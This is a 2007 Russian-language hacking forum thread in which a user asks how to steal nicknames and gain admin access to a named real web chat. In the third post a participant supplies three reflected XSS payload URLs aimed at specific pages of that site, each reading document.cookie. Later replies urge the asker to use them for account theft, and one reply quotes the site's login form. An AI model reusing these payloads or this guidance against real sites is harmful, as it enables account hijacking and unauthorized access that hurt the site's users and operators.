Как узнать ID ника в чате www.telecom7.ru ?

Discussion in 'Песочница' started by vnuki, 6 Mar 2007.

  1. vnuki

    vnuki Banned

    Joined:
    20 Oct 2006
    Messages:
    0
    Likes Received:
    6
    Reputations:
    0
    Здрасти...Кто нить может подсказать как можно узнать ID ника ,в чате http://www.telecom7.ru/Chat/ ...это надо для того чтоб сворвать ник,и там есть тупой админ у которого если узнать Id то можно получить полный доступ к чату ..+ язнаю все пути в админку и все такое..пожалуста помогите как узнать ID ника в чате ? http://www.telecom7.ru/Chat/ :)
     
    #1 vnuki, 6 Mar 2007
    Last edited by a moderator: 6 Mar 2007
  2. .Slip

    .Slip Elder - Старейшина

    Joined:
    16 Jan 2006
    Messages:
    1,571
    Likes Received:
    976
    Reputations:
    783
    Щас зайду в чат, посмотрю что там можно сделать.
     
    #2 .Slip, 6 Mar 2007
  3. ice1k

    ice1k Banned

    Joined:
    1 Jan 2007
    Messages:
    462
    Likes Received:
    382
    Reputations:
    490
    Насчёт ID пока что х3 - смотрю ещё...
    Если что там XSS есть ещё:
    Code:
    http://www.telecom7.ru/Chat/remind.php?nick="><script>alert(document.cookie)</script>
    Code:
    http://www.telecom7.ru/Chat/info.php?i=</title><script>alert(document.cookie)</script>
    Code:
    http://www.telecom7.ru/Chat/board.php?ss=\'>"><script>alert(document.cookie)</script>
     
    #3 ice1k, 6 Mar 2007
    Last edited: 6 Mar 2007
  4. vnuki

    vnuki Banned

    Joined:
    20 Oct 2006
    Messages:
    0
    Likes Received:
    6
    Reputations:
    0
    ice1k ,спасибо большое ..счас будем разбиратся
     
    #4 vnuki, 6 Mar 2007
  5. .Slip

    .Slip Elder - Старейшина

    Joined:
    16 Jan 2006
    Messages:
    1,571
    Likes Received:
    976
    Reputations:
    783
    В общем я не знаю с чего ты взял что там есть айди как таковой. Его там нету ни в каком месте. Форма входа без всяких айди:

    HTML:
    <td alight=right width=80>Ваш ник:</td>
<td><input class=text maxLength=25 NAME=nick value=""></TD>

<TD ALIGHT=RIGHT>Пароль:</TD>
<TD><INPUT class=text maxLength=20 type="password" NAME="psw" value=""></TD>
    Так что юзай xss которые айс выложил.
     
    #5 .Slip, 6 Mar 2007
  6. vnuki

    vnuki Banned

    Joined:
    20 Oct 2006
    Messages:
    0
    Likes Received:
    6
    Reputations:
    0
    ок .спасибо... а там вобще какнить возможно красть ники? я уже почучуть разбираюсь...
     
    #6 vnuki, 6 Mar 2007
  7. DRON-ANARCHY

    DRON-ANARCHY Отец порядка

    Joined:
    4 Mar 2005
    Messages:
    716
    Likes Received:
    142
    Reputations:
    50
    угу. юзай Xss ))
     
    #7 DRON-ANARCHY, 6 Mar 2007
(You must log in or sign up to post here.)